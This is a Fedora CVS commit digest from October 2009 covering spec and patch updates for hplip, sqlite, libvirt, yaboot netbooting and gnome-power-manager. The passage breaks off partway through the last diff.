In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11311

Modified Files:
	hplip.spec 
Log Message:
Explain what patch12 is for in comments.


Index: hplip.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hplip/devel/hplip.spec,v
retrieving revision 1.240
retrieving revision 1.241
diff -u -p -r1.240 -r1.241
--- hplip.spec	28 Oct 2009 17:45:28 -0000	1.240
+++ hplip.spec	29 Oct 2009 10:53:43 -0000	1.241
@@ -146,6 +146,9 @@ rm -rf $RPM_BUILD_DIR/%{name}-%{version}
 
 # Give up trying to print a job to a reconnected device (bug #515481).
 %patch11 -p1 -b .device-reconnected
+
+# Set a printer-state-reason when there's a missing required plugin
+# (bug #531330).
 %patch12 -p1 -b .plugin-error
 
 %build



From pmatilai at fedoraproject.org  Thu Oct 29 10:55:11 2009
From: pmatilai at fedoraproject.org (Panu Matilainen)
Date: Thu, 29 Oct 2009 10:55:11 +0000 (UTC)
Subject: rpms/sqlite/F-11 sqlite-3.6.13-iotest-nodirsync.patch, NONE,
	1.1 sqlite-3.6.17-tkt3951.patch, NONE, 1.1
Message-ID: <20091029105511.D400111C008B@cvs1.fedora.phx.redhat.com>

Author: pmatilai

Update of /cvs/pkgs/rpms/sqlite/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11629

Added Files:
	sqlite-3.6.13-iotest-nodirsync.patch 
	sqlite-3.6.17-tkt3951.patch 
Log Message:
Remember to commit all the new patches...


sqlite-3.6.13-iotest-nodirsync.patch:
 io.test |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE sqlite-3.6.13-iotest-nodirsync.patch ---
diff -up sqlite-3.6.13/test/io.test.nodirsync sqlite-3.6.13/test/io.test
--- sqlite-3.6.13/test/io.test.nodirsync	2009-05-14 12:12:21.000000000 +0300
+++ sqlite-3.6.13/test/io.test	2009-05-14 12:13:51.000000000 +0300
@@ -426,7 +426,8 @@ sqlite3_simulate_device -char safe_appen
 # on the journal file between steps (2) and (3) above.
 #
 if {$::tcl_platform(platform)=="unix"} {
-  set expected_sync_count 3
+  # normally 3 but with -DSQLITE_DISABLE_DIRSYNC its 2
+  set expected_sync_count 2
 } else {
   set expected_sync_count 2
 }

sqlite-3.6.17-tkt3951.patch:
 tkt3922.test |   28 ++++++++++++++--------------
 1 file changed, 14 insertions(+), 14 deletions(-)

--- NEW FILE sqlite-3.6.17-tkt3951.patch ---
diff -up sqlite-3.6.17/test/tkt3922.test.tkt3951 sqlite-3.6.17/test/tkt3922.test
--- sqlite-3.6.17/test/tkt3922.test.tkt3951	2009-06-26 17:19:55.000000000 +0300
+++ sqlite-3.6.17/test/tkt3922.test	2009-08-21 13:12:27.000000000 +0300
@@ -36,20 +36,20 @@ if {[working_64bit_int]} {
     }
   } {-1 integer}
 }
-do_test tkt3922.2 {
-  execsql {
-    DELETE FROM t1;
-    INSERT INTO t1 VALUES('-9223372036854775809');
-    SELECT a, typeof(a) FROM t1;
-  }
-} {-9.22337203685478e+18 real}
-do_test tkt3922.3 {
-  execsql {
-    DELETE FROM t1;
-    INSERT INTO t1 VALUES('-9223372036854776832');
-    SELECT a, typeof(a) FROM t1;
-  }
-} {-9.22337203685478e+18 real}
+#do_test tkt3922.2 {
+#  execsql {
+#    DELETE FROM t1;
+#    INSERT INTO t1 VALUES('-9223372036854775809');
+#    SELECT a, typeof(a) FROM t1;
+#  }
+#} {-9.22337203685478e+18 real}
+#do_test tkt3922.3 {
+#  execsql {
+#    DELETE FROM t1;
+#    INSERT INTO t1 VALUES('-9223372036854776832');
+#    SELECT a, typeof(a) FROM t1;
+#  }
+#} {-9.22337203685478e+18 real}
 do_test tkt3922.4 {
   execsql {
     DELETE FROM t1;



From markmc at fedoraproject.org  Thu Oct 29 10:57:55 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Thu, 29 Oct 2009 10:57:55 +0000 (UTC)
Subject: rpms/libvirt/devel libvirt-qemu-machine-type-fixes2.patch, NONE,
	1.1 libvirt.spec, 1.193, 1.194
Message-ID: <20091029105756.0396011C008B@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12724

Modified Files:
	libvirt.spec 
Added Files:
	libvirt-qemu-machine-type-fixes2.patch 
Log Message:
* Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.2-2
- Fix qemu machine types handling


libvirt-qemu-machine-type-fixes2.patch:
 qemu_conf.c |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE libvirt-qemu-machine-type-fixes2.patch ---
>From b7b6a28eb9eae641762de9408a90971d849ce92e Mon Sep 17 00:00:00 2001
From: Mark McLoughlin <markmc at redhat.com>
Date: Thu, 15 Oct 2009 12:09:17 +0100
Subject: [PATCH] Don't copy old machines from a domain which has none

If the the qemu and kvm binaries are the same, we don't include machine
types in the kvm domain info.

However, the code which refreshes the machine types info from the
previous capabilities structure first looks at the kvm domain's info,
finds it matches and then copies the empty machine types list over
for the top-level qemu domain.

That doesn't make sense, we shouldn't copy an empty machin types list.

* src/qemu/qemu_conf.c: qemudGetOldMachinesFromInfo(): don't copy an
  empty machine types list.

(cherry picked from commit 2210f8a3a8e2774ca4fb8b42e21899e5b85ca913)

Fedora-patch: libvirt-qemu-machine-type-fixes2.patch
---
 src/qemu/qemu_conf.c |    3 +++
 1 files changed, 3 insertions(+), 0 deletions(-)

diff --git a/src/qemu/qemu_conf.c b/src/qemu/qemu_conf.c
index ac63570..b881f1e 100644
--- a/src/qemu/qemu_conf.c
+++ b/src/qemu/qemu_conf.c
@@ -505,6 +505,9 @@ qemudGetOldMachinesFromInfo(virCapsGuestDomainInfoPtr info,
     virCapsGuestMachinePtr *list;
     int i;
 
+    if (!info->nmachines)
+        return 0;
+
     if (!info->emulator || !STREQ(emulator, info->emulator))
         return 0;
 
-- 
1.6.2.5



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/libvirt.spec,v
retrieving revision 1.193
retrieving revision 1.194
diff -u -p -r1.193 -r1.194
--- libvirt.spec	29 Oct 2009 10:15:23 -0000	1.193
+++ libvirt.spec	29 Oct 2009 10:57:55 -0000	1.194
@@ -155,6 +155,10 @@ Release: 2%{?dist}%{?extra_release}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
+
+# Fix qemu machine types handling
+Patch01: libvirt-qemu-machine-type-fixes2.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
 BuildRequires: python-devel
@@ -367,6 +371,8 @@ of recent versions of Linux (and other O
 %prep
 %setup -q
 
+%patch01 -p1
+
 %build
 %if ! %{with_xen}
 %define _without_xen --without-xen
@@ -780,6 +786,7 @@ fi
 %changelog
 * Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.2-2
 - Make libvirt-devel require libvirt-client, not libvirt
+- Fix qemu machine types handling
 
 * Wed Oct 14 2009 Daniel Veillard <veillard at redhat.com> - 0.7.2-1
 - Upstream release of 0.7.2



From rrakus at fedoraproject.org  Thu Oct 29 10:58:41 2009
From: rrakus at fedoraproject.org (Roman Rakus)
Date: Thu, 29 Oct 2009 10:58:41 +0000 (UTC)
Subject: rpms/yaboot/F-12 yaboot-1.3.14-better_netboot2.patch, NONE,
	1.1 yaboot-1.3.14-move_kernel.patch, NONE, 1.1 yaboot.spec, 1.73, 1.74
Message-ID: <20091029105841.F18C911C008B@cvs1.fedora.phx.redhat.com>

Author: rrakus

Update of /cvs/extras/rpms/yaboot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13175

Modified Files:
	yaboot.spec 
Added Files:
	yaboot-1.3.14-better_netboot2.patch 
	yaboot-1.3.14-move_kernel.patch 
Log Message:
When netbooting "clobber" the LOAD_BUFFER and move the kernel into it to make room for RTAS (#530330)
Adding better netboot support more work on (#458438)



yaboot-1.3.14-better_netboot2.patch:
 include/file.h  |    1 
 include/prom.h  |    2 
 second/cfg.c    |    3 +
 second/file.c   |  127 +++++++++++++++++++++++++++++++++++++++++++++++++++++---
 second/fs_of.c  |   48 +++++++++++++--------
 second/prom.c   |    6 ++
 second/yaboot.c |    4 +
 7 files changed, 166 insertions(+), 25 deletions(-)

--- NEW FILE yaboot-1.3.14-better_netboot2.patch ---
diff -purN yaboot-1.3.14.orig/include/file.h yaboot-1.3.14/include/file.h
--- yaboot-1.3.14.orig/include/file.h	2009-10-15 11:39:01.112642471 +1100
+++ yaboot-1.3.14/include/file.h	2009-10-15 15:29:04.692654961 +1100
@@ -45,6 +45,7 @@ struct boot_fspec_t {
 	char*	giaddr;		/* Gateway address */
 	char*	bootp_retries;	/* Bootp retries */
 	char*	tftp_retries;	/* TFTP retries */
+	char*	subnetmask;	/* Subnet mask */
 	char*	addl_params;	/* copy all additional parameters */
 
 	/* Following fields are used only in ipv6 format */
diff -purN yaboot-1.3.14.orig/include/prom.h yaboot-1.3.14/include/prom.h
--- yaboot-1.3.14.orig/include/prom.h	2009-10-15 15:23:39.796944672 +1100
+++ yaboot-1.3.14/include/prom.h	2009-10-15 15:29:04.692654961 +1100
@@ -153,7 +153,7 @@ struct bootp_packet {
      unsigned char chaddr[16];
      unsigned char sname[64];
      unsigned char file[128];
-     /* vendor options go here if we need them */
+     unsigned char options[]; /* vendor options */
 };
 
 struct bootp_packet * prom_get_netinfo (void);
diff -purN yaboot-1.3.14.orig/second/cfg.c yaboot-1.3.14/second/cfg.c
--- yaboot-1.3.14.orig/second/cfg.c	2009-10-15 15:23:39.798647660 +1100
+++ yaboot-1.3.14/second/cfg.c	2009-10-15 15:29:04.693668247 +1100
@@ -597,6 +597,9 @@ int cfg_set_default_by_mac (char *mac_ad
      char * label = NULL;
      int haslabel = 0;
 
+     if (mac_addr == NULL)
+          return 0;
+
      /* check if there is an image label equal to mac_addr */
      for (tmp = images; tmp; tmp = tmp->next) {
         label = cfg_get_strg_i (tmp->table, "label");
diff -purN yaboot-1.3.14.orig/second/file.c yaboot-1.3.14/second/file.c
--- yaboot-1.3.14.orig/second/file.c	2009-10-15 15:23:39.802647442 +1100
+++ yaboot-1.3.14/second/file.c	2009-10-15 15:29:04.694645423 +1100
@@ -51,6 +51,42 @@ ipv4_to_str(__u32 ip)
      return buf;
 }
 
+/* FIXME: COMMENT */
+static char * is_valid_ip_str(char *str)
+{
+     int i;
+     long tmp;
+     __u32 ip = 0;
+     char *ptr=str, *endptr;
+
+     if (str == NULL)
+          return NULL;
+
+     for (i=0; i<4; i++, ptr = ++endptr) {
+          tmp = strtol(ptr, &endptr, 10);
+          if ((tmp & 0xff) != tmp)
+               return NULL;
+
+          /* If we reach the end of the string but we're not in the 4th octet
+           * we have an invalid IP */
+          if (*endptr == '\x0' && i!=3)
+               return NULL;
+
+          /* If we have anything other than a NULL or '.' we have an invlaid
+           * IP */
+          if (*endptr != '\x0' && *endptr != '.')
+               return NULL;
+
+          ip += (tmp << (24-(i*8)));
+     }
+
+     if (ip == 0 || ip == ~0u)
+          return NULL;
+
+     return str;
+}
+
+
 /*
  * Copy the string from source to dest till newline or comma(,) is seen
  * in the source.
@@ -130,12 +166,13 @@ extract_ipv4_args(char *imagepath, struc
       * read the arguments in order: siaddr,filename,ciaddr,giaddr,
       * bootp-retries,tftp-retries,addl_prameters
       */
-     result->siaddr = scopy(&str, &args);
+     result->siaddr = is_valid_ip_str(scopy(&str, &args));
      result->file = scopy(&str, &args);
-     result->ciaddr = scopy(&str, &args);
-     result->giaddr = scopy(&str, &args);
+     result->ciaddr = is_valid_ip_str(scopy(&str, &args));
+     result->giaddr = is_valid_ip_str(scopy(&str, &args));
      result->bootp_retries = scopy(&str, &args);
      result->tftp_retries = scopy(&str, &args);
+     result->subnetmask = scopy(&str, &args);
      if (*args) {
 	  result->addl_params = strdup(args);
 	  if (!result->addl_params)
@@ -144,6 +181,82 @@ extract_ipv4_args(char *imagepath, struc
      return 1;
 }
 
+/* DHCP options */
+enum dhcp_options {
+     DHCP_PAD = 0,
+     DHCP_NETMASK = 1,
+     DHCP_ROUTERS = 3,
+     DHCP_DNS = 6,
+     DHCP_END = 255,
+};
+
+#define DHCP_COOKIE        0x63825363
+#define DHCP_COOKIE_SIZE   4
+
+/*
+ * FIXME: COMMENT
+ */
+static void
+extract_vendor_options(struct bootp_packet *packet, struct boot_fspec_t *result)
+{
+     int i = 0;
+     __u32 cookie;
+     __u8 *options = &packet->options[0];
+
+     memcpy(&cookie, &options[i], DHCP_COOKIE_SIZE);
+
+     if (cookie != DHCP_COOKIE) {
+          prom_printf("EEEK! cookie is fubar got %08x expected %08x\n",
+                      cookie, DHCP_COOKIE);
+          return;
+     }
+
+     i += DHCP_COOKIE_SIZE;
+
+     /* FIXME: It may be possible to run off the end of a packet here /if/
+      *         it's malformed. :( */
+     while (options[i] != DHCP_END) {
+          __u8 tag = options[i++], len;
+          __u32 value;
+
+          if (tag == DHCP_PAD)
+               continue;
+
+          len = options[i++];
+          memcpy(&value, &options[i], len);
+
+#if DEBUG
+{
+     DEBUG_F("tag=%2d, len=%2d, data=", tag, len);
+     int j;
+     for (j=0; j<len; j++)
+          prom_printf("%02x", options[i+j]);
+     prom_printf("\n");
+}
+#endif
+
+          switch (tag) {
+               case DHCP_NETMASK:
+                    if ((result->subnetmask == NULL || *(result->subnetmask) == '\x0') && value != 0) {
+                         result->subnetmask = ipv4_to_str(value);
+                         DEBUG_F("Storing %s as subnetmask from options\n",
+                                 result->subnetmask);
+                    }
+                    /* FIXME: do we need to grok the subnet mask? */
+                    break;
+               case DHCP_ROUTERS:
+                    if ((result->giaddr == NULL || *(result->giaddr) == '\x0')
+                        && value != 0) {
+                         result->giaddr = ipv4_to_str(value);
+                         DEBUG_F("Storing %s as gateway from options\n",
+                                 result->giaddr);
+                    }
+                    break;
+               }
+          i += len;
+     }
+}
+
 /*
  * Check netinfo for ipv4 parameters and add them to the fspec iff the
  * fspec has no existing value.
@@ -170,16 +283,18 @@ extract_netinfo_args(struct boot_fspec_t
      if (packet->ciaddr == 0 && packet->yiaddr != 0)
           packet->ciaddr = packet->yiaddr;
 
-     if ((result->siaddr == NULL || *(result->siaddr) == NULL)
+     if ((result->siaddr == NULL || *(result->siaddr) == '\x0')
          && packet->siaddr != 0)
           result->siaddr = ipv4_to_str(packet->siaddr);
-     if ((result->ciaddr == NULL || *(result->ciaddr) == NULL)
+     if ((result->ciaddr == NULL || *(result->ciaddr) == '\x0')
          && packet->ciaddr != 0)
           result->ciaddr = ipv4_to_str(packet->ciaddr);
-     if ((result->giaddr == NULL || *(result->giaddr) == NULL)
+     if ((result->giaddr == NULL || *(result->giaddr) == '\x0')
          && packet->giaddr != 0)
           result->giaddr = ipv4_to_str(packet->giaddr);
 
+     extract_vendor_options(packet, result);
+
      /* FIXME: Yck! if we /still/ do not have a gateway then "cheat" and use
       *        the server.  This will be okay if the client and server are on
       *        the same IP network, if not then lets hope the server does ICMP
diff -purN yaboot-1.3.14.orig/second/fs_of.c yaboot-1.3.14/second/fs_of.c
--- yaboot-1.3.14.orig/second/fs_of.c	2009-10-15 15:23:39.805647069 +1100
+++ yaboot-1.3.14/second/fs_of.c	2009-10-15 15:29:04.695645439 +1100
@@ -44,7 +44,7 @@
 #include "errors.h"
 #include "debug.h"
 
-#define LOAD_BUFFER_POS		0x1000000
+#define LOAD_BUFFER_POS		0x0000000
 #define LOAD_BUFFER_SIZE	0x2000000
 
 static int of_open(struct boot_file_t* file,
@@ -137,6 +137,7 @@ of_net_open(struct boot_file_t* file,
      static char	buffer[1024];
      char               *filename = NULL;
      char               *p;
+     int                new_tftp;
 
      DEBUG_ENTER;
      DEBUG_OPEN;
@@ -148,34 +149,47 @@ of_net_open(struct boot_file_t* file,
 		    *p = '\\';
      }
 
-     DEBUG_F("siaddr <%s>; filename <%s>; ciaddr <%s>; giaddr <%s>; ipv6 <%d>\n",
-		fspec->siaddr, filename, fspec->ciaddr, fspec->giaddr, fspec->is_ipv6);
+     DEBUG_F("siaddr <%s>; filename <%s>; ciaddr <%s>; giaddr <%s>;"
+             " ipv6 <%d>\n",
+             fspec->siaddr, filename, fspec->ciaddr, fspec->giaddr,
+             fspec->is_ipv6);
+
      strncpy(buffer, fspec->dev, 768);
      if (fspec->is_ipv6)
 	  strcat(buffer, TOK_IPV6 ",");
-     /* If we didn't get a ':' include one */
-     if (fspec->dev[strlen(fspec->dev)-1] != ':')
+     else if (fspec->dev[strlen(fspec->dev)-1] != ':')
           strcat(buffer, ":");
-     strcat(buffer, fspec->siaddr);
-     strcat(buffer, ",");
-     if (fspec->is_ipv6 && (strstr(filename, "filename=") == NULL))
-	  strcat(buffer, "filename=");
-     strcat(buffer, filename);
-     strcat(buffer, ",");
-     strcat(buffer, fspec->ciaddr);
-     strcat(buffer, ",");
-     strcat(buffer, fspec->giaddr);
 
-     /* If /packages/cas exists the we have a "new skool" tftp */
-     if (prom_finddevice("/packages/cas") != PROM_INVALID_HANDLE) {
+     /* If /packages/cas exists the we have a "new skool" tftp.
+      * This means that siaddr is the tftp server and that we can add
+      * {tftp,bootp}_retrys, subnet mask and tftp block size to the load
+      * method */
+     new_tftp = (prom_finddevice("/packages/cas") != PROM_INVALID_HANDLE);
+     DEBUG_F("Using %s tftp style\n", (new_tftp? "new": "old"));
+
+     if (new_tftp) {
+          strcat(buffer, fspec->siaddr);
+          strcat(buffer, ",");
+
+          if (fspec->is_ipv6 && (strstr(filename, "filename=") == NULL))
+               strcat(buffer, "filename=");
+
+          strcat(buffer, filename);
+          strcat(buffer, ",");
+          strcat(buffer, fspec->ciaddr);
           strcat(buffer, ",");
+          strcat(buffer, fspec->giaddr);
+          strcat(buffer, ","); 
           strcat(buffer, fspec->bootp_retries);
           strcat(buffer, ",");
           strcat(buffer, fspec->tftp_retries);
           strcat(buffer, ",");
+          strcat(buffer, fspec->subnetmask);
+          strcat(buffer, ",");
           strcat(buffer, fspec->addl_params);
      } else {
-          DEBUG_F("No \"/packages/cas\" using simple args\n")
+          strcat(buffer, ",");
+          strcat(buffer, filename);
      }
 
      DEBUG_F("Opening: \"%s\"\n", buffer);
diff -purN yaboot-1.3.14.orig/second/prom.c yaboot-1.3.14/second/prom.c
--- yaboot-1.3.14.orig/second/prom.c	2009-10-15 15:23:39.806647224 +1100
+++ yaboot-1.3.14/second/prom.c	2009-10-15 15:29:04.696645314 +1100
@@ -685,6 +685,10 @@ struct bootp_packet * prom_get_netinfo (
      void *bootp_response = NULL;
      char *propname;
      struct bootp_packet *packet;
+     /* struct bootp_packet contains a VLA, so sizeof won't work.
+        the VLA /must/ be the last field in the structure so use it's
+        offset as a good estimate of the packet size */
+     size_t packet_size = offsetof(struct bootp_packet, options);
      int i = 0, size, offset = 0;
      prom_handle chosen;
 #define ARRAY_SIZE(x) (sizeof(x) / sizeof(x[0]))
@@ -709,7 +713,7 @@ struct bootp_packet * prom_get_netinfo (
      if (size <= 0)
          return NULL;
 
-     if (sizeof(*packet) > size - offset) {
+     if (packet_size > size - offset) {
          prom_printf("Malformed %s property?\n", propname);
          return NULL;
      }
diff -purN yaboot-1.3.14.orig/second/yaboot.c yaboot-1.3.14/second/yaboot.c
--- yaboot-1.3.14.orig/second/yaboot.c	2009-10-15 15:23:39.809646432 +1100
+++ yaboot-1.3.14/second/yaboot.c	2009-10-15 15:29:04.697642396 +1100
@@ -471,6 +471,10 @@ static int load_my_config_file(struct bo
      int minlen;
 
      packet = prom_get_netinfo();
+     if (packet == NULL) {
+          prom_printf("Failed to get netinfo data\n");
+          return 0;
+     }
 
      /*
       * First, try to match on mac address with the hardware type

yaboot-1.3.14-move_kernel.patch:
 Makefile        |    3 ++
 include/file.h  |    1 
 second/fs_of.c  |    1 
 second/yaboot.c |   60 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 4 files changed, 65 insertions(+)

--- NEW FILE yaboot-1.3.14-move_kernel.patch ---
diff --git a/Makefile b/Makefile
index 8f2b1c4..3603c7d 100644
--- a/Makefile
+++ b/Makefile
@@ -121,6 +121,9 @@ mkofboot:
 		false; 									\
 	fi
 
+%.i: %.c
+	$(CC) $(YBCFLAGS) -E -o $@ $<
+
 %.o: %.c
 	$(CC) $(YBCFLAGS) -c -o $@ $<
 
diff --git a/include/file.h b/include/file.h
index b2d9c63..9990f4b 100644
--- a/include/file.h
+++ b/include/file.h
@@ -68,6 +68,7 @@ struct boot_file_t {
 	ino_t		inode;
 	__u64           pos;
 	unsigned char*	buffer;
+	__u64		buffer_sz;
 	__u64   	len;
 //	unsigned int	dev_blk_size;
 //	unsigned int	part_start;
diff --git a/second/fs_of.c b/second/fs_of.c
index 1f48f4f..d2e7434 100644
--- a/second/fs_of.c
+++ b/second/fs_of.c
@@ -214,6 +214,7 @@ of_net_open(struct boot_file_t* file,
 	  DEBUG_LEAVE(FILE_IOERR);
 	  return FILE_IOERR;
      }
+     file->buffer_sz = LOAD_BUFFER_SIZE;
      memset(file->buffer, 0, LOAD_BUFFER_SIZE);
 
      DEBUG_F("TFP...\n");
diff --git a/second/yaboot.c b/second/yaboot.c
index 0ccfed5..1241eec 100644
--- a/second/yaboot.c
+++ b/second/yaboot.c
@@ -1052,6 +1052,7 @@ yaboot_text_ui(void)
      static struct boot_param_t	params;
      void		*initrd_base;
      unsigned long	initrd_size;
+     unsigned long	initrd_end;
      void                *sysmap_base;
      unsigned long	sysmap_size;
      kernel_entry_t      kernel_entry;
@@ -1227,8 +1228,67 @@ yaboot_text_ui(void)
 			      initrd_read = file.fs->read(&file, INITRD_CHUNKSIZE, initrd_more);
 			      DEBUG_F("  block at %p rc=%lu\n",initrd_more,initrd_read);
 			      initrd_size += initrd_read;
+			      initrd_end = initrd_more+INITRD_CHUNKSIZE;
 			 }
 		    }
+		    /* If we netbooted and got this far, we may have filled the
+		     * RMA.  We're about the free the TFTP load buffer to we
+		     * can "shuffle" things around so that the booted kernel
+		     * has some memory to run with */
+                    if (!is_elf64(&loadinfo)) {
+                         DEBUG_F("Not running a 64-kernel\n");
+                    /* Is this check enough? */
+                    } else if (loadinfo.base == file.buffer + file.buffer_sz) {
+                         DEBUG_F("file->buffer %lx -> %lx (%lx)\n",
+                                 (unsigned long)(file.buffer),
+                                 (unsigned long)(file.buffer+file.buffer_sz),
+                                 (unsigned long)(file.buffer_sz));
+                         DEBUG_F("vmlinux %lx -> %lx (%lx)\n",
+                                 (unsigned long)(loadinfo.base),
+                                 (unsigned long)(loadinfo.base+loadinfo.memsize),
+                                 (unsigned long)(loadinfo.memsize));
+                         DEBUG_F("initrd %lx -> %lx (%lx)\n",
+                                 (unsigned long)(initrd_base),
+                                 (unsigned long)(initrd_base+initrd_size),
+                                 (unsigned long)(initrd_size));
+
+                         /* Check to see if we're near the top of the RMA */
+                         /* Cheat and assume the RMA == 128Mb */
+                         if (initrd_end > 0x7000000) {
+                              unsigned long new_initrd_end, free_len;
+                              unsigned long initrd_claim_len = initrd_end - (unsigned long)initrd_base;
+
+                              memmove(file.buffer, loadinfo.base,
+                                      loadinfo.memsize+initrd_size);
+                              loadinfo.base = file.buffer;
+                              initrd_base = loadinfo.base+loadinfo.memsize;
+
+                              new_initrd_end = (unsigned long)initrd_base+initrd_claim_len;
+                              free_len = initrd_end - (unsigned long)new_initrd_end;
+                              file.buffer = NULL;
+                              file.buffer_sz = 0;
+                              memset((void*)new_initrd_end, 0x0, free_len);
+                              prom_release((void*)new_initrd_end, free_len);
+
+                              DEBUG_F("Releaseing from 0x%08lx -> 0x%08lx\n",
+                                      new_initrd_end, free_len);
+
+                              DEBUG_F("file->buffer %lx -> %lx (%lx)\n",
+                                      (unsigned long)(file.buffer),
+                                      (unsigned long)(file.buffer+file.buffer_sz),
+                                      (unsigned long)(file.buffer_sz));
+                              DEBUG_F("vmlinux %lx -> %lx (%lx)\n",
+                                      (unsigned long)(loadinfo.base),
+                                      (unsigned long)(loadinfo.base+loadinfo.memsize),
+                                      (unsigned long)(loadinfo.memsize));
+                              DEBUG_F("initrd %lx -> %lx (%lx)\n",
+                                      (unsigned long)(initrd_base),
+                                      (unsigned long)(initrd_base+initrd_size),
+                                      (unsigned long)(initrd_size));
+                         } else {
+                              DEBUG_F("Looks like we do not need to move the kernel\n");
+                         }
+                    }
 		    file.fs->close(&file);
 		    memset(&file, 0, sizeof(file));
 	       }


Index: yaboot.spec
===================================================================
RCS file: /cvs/extras/rpms/yaboot/F-12/yaboot.spec,v
retrieving revision 1.73
retrieving revision 1.74
diff -u -p -r1.73 -r1.74
--- yaboot.spec	19 Oct 2009 01:14:10 -0000	1.73
+++ yaboot.spec	29 Oct 2009 10:58:41 -0000	1.74
@@ -1,7 +1,7 @@
 Summary: Linux bootloader for Power Macintosh "New World" computers.
 Name: yaboot
 Version: 1.3.14
-Release: 22%{?dist}
+Release: 23%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: http://yaboot.ozlabs.org/releases/yaboot-%{version}.tar.gz
@@ -37,6 +37,12 @@ Patch36: yaboot-1.3.14-ipv6.patch
 # Do not open LINUX_NATIVE parttions with OF, as badness happens
 Patch37: yaboot-1.3.14-dont_of_open_native_partitions.patch
 
+# Try #2 at better netboot now with DHCP parseing
+Patch38: yaboot-1.3.14-better_netboot2.patch
+
+# When netbooting, move the kernel onto the load buffer, sure it's a hack
+Patch39: yaboot-1.3.14-move_kernel.patch
+
 URL: http://yaboot.ozlabs.org/
 BuildRoot: %{_tmppath}/%{name}-root
 Obsoletes: ybin
@@ -86,6 +92,8 @@ yaboot can also bootload IBM pSeries mac
 %patch35 -p1 -b .returns
 %patch36 -p1 -b .ipv6
 %patch37 -p1 -b .partitions
+%patch38 -p1 -b .netboot2
+%patch39 -p1 -b .movekernel
 
 %build
 make VERSIONEXTRA='\ (Red Hat %version-%release)' DEBUG=1
@@ -126,6 +134,11 @@ rm -rf $RPM_BUILD_ROOT
 %ghost %config(noreplace) %{_sysconfdir}/yaboot.conf
 
 %changelog
+* Thu Oct 29 2009 Roman Rakus <rrakus at redhat.com> - 1.3.14-23
+- When netbooting "clobber" the LOAD_BUFFER and move the kernel into it to make
+  room for RTAS (#530330)
+- Adding better netboot support more work on (#458438)
+
 * Mon Oct 19 2009 Tony Breed <tony at bakeyournoodle.com> - 1.3.14-22
 - Calling of_open() on a LINUX_NATIVE parttions seesm to work but end up with a
   garbage file.  Add check to of_open to skip these parttions (#526021).



From hadess at fedoraproject.org  Thu Oct 29 11:19:55 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu, 29 Oct 2009 11:19:55 +0000 (UTC)
Subject: rpms/gnome-power-manager/F-12
	0001-Use-gnome-settings-daemon-popup-code.patch, 1.4,
	1.5 gnome-power-manager.spec, 1.182, 1.183
Message-ID: <20091029111955.DA5FD11C008B@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-power-manager/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18939

Modified Files:
	0001-Use-gnome-settings-daemon-popup-code.patch 
	gnome-power-manager.spec 
Log Message:
* Thu Oct 29 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-5
- Fix OSD showing a volume label when switching compositing off


0001-Use-gnome-settings-daemon-popup-code.patch:
 b/data/Makefile.am            |    3 
 b/data/acme.ui                |   41 +
 b/src/Makefile.am             |    5 
 b/src/gpm-backlight.c         |  111 +++-
 b/src/gsd-media-keys-window.c | 1109 ++++++++++++++++++++++++++++++++++++++++++
 b/src/gsd-media-keys-window.h |   70 ++
 src/gpm-popup-window.c        |  725 ---------------------------
 src/gpm-popup-window.h        |   61 --
 8 files changed, 1325 insertions(+), 800 deletions(-)

Index: 0001-Use-gnome-settings-daemon-popup-code.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-power-manager/F-12/0001-Use-gnome-settings-daemon-popup-code.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- 0001-Use-gnome-settings-daemon-popup-code.patch	28 Oct 2009 13:55:04 -0000	1.4
+++ 0001-Use-gnome-settings-daemon-popup-code.patch	29 Oct 2009 11:19:55 -0000	1.5
@@ -1,4 +1,4 @@
-From 72cfffc3638de64192ff2323450da26e9125fb89 Mon Sep 17 00:00:00 2001
+From 4d5ed37e24761f6b83f531166440ac311a5f95eb Mon Sep 17 00:00:00 2001
 From: Bastien Nocera <hadess at hadess.net>
 Date: Tue, 27 Oct 2009 23:33:46 +0000
 Subject: [PATCH] Use gnome-settings-daemon popup code
@@ -6,19 +6,20 @@ Subject: [PATCH] Use gnome-settings-daem
 Instead of forking it.
 
 Also make sure the location of the popup matches
-that used by gnome-settings-daemon.
+that used by gnome-settings-daemon, and we switch
+styles when switching compositing on/off.
 
 https://bugzilla.gnome.org/show_bug.cgi?id=594664
 ---
  data/Makefile.am            |    3 +-
  data/acme.ui                |   41 ++
  src/Makefile.am             |    5 +-
- src/gpm-backlight.c         |  108 ++++-
+ src/gpm-backlight.c         |  111 ++++-
  src/gpm-popup-window.c      |  725 ----------------------------
  src/gpm-popup-window.h      |   61 ---
  src/gsd-media-keys-window.c | 1109 +++++++++++++++++++++++++++++++++++++++++++
  src/gsd-media-keys-window.h |   69 +++
- 8 files changed, 1322 insertions(+), 799 deletions(-)
+ 8 files changed, 1325 insertions(+), 799 deletions(-)
  create mode 100644 data/acme.ui
  delete mode 100644 src/gpm-popup-window.c
  delete mode 100644 src/gpm-popup-window.h
@@ -110,7 +111,7 @@ index b41da1f..b038669 100644
  	gpm-engine.c					\
  	$(NULL)
 diff --git a/src/gpm-backlight.c b/src/gpm-backlight.c
